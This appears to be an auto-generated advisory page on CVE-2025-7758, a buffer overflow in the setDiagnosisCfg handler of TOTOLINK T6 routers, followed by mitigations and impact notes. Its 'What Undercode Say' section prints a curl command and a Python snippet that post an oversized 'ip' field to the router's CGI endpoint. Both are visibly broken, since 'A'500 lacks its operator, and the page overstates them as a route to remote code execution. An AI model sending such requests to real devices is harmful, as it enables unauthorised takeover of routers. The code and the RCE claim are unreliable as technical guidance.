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How the CVE Works
The vulnerability CVE-2025-7758 is a critical buffer overflow issue in TOTOLINK T6 routers (up to firmware version 4.1.5cu.748_B20211015). The flaw resides in the `setDiagnosisCfg` function within /cgi-bin/cstecgi.cgi, which processes HTTP POST requests. By manipulating the `ip` parameter, an attacker can trigger a buffer overflow due to insufficient input validation. This allows remote code execution (RCE) without authentication. The exploit is publicly available, increasing the risk of active attacks.
DailyCVE Form
Platform: TOTOLINK T6
Version: ≤ 4.1.5cu.748_B20211015
Vulnerability: Buffer Overflow
Severity: Critical
Date: 07/23/2025
Prediction: Patch by 08/15/2025
What Undercode Say
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curl -X POST -d "ip=$(python -c 'print("A"500)')" http://<target>/cgi-bin/cstecgi.cgi
import requests
payload = "A" 500
requests.post("http://<target>/cgi-bin/cstecgi.cgi", data={"ip": payload})
Exploit
- Crafted HTTP POST request with oversized `ip` parameter.
- Overwrites stack memory to achieve RCE.
Protection from this CVE
- Disable WAN access to admin interface.
- Apply vendor patch upon release.
- Use network segmentation.
Impact
- Remote code execution.
- Full device compromise.
- Botnet enlistment.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
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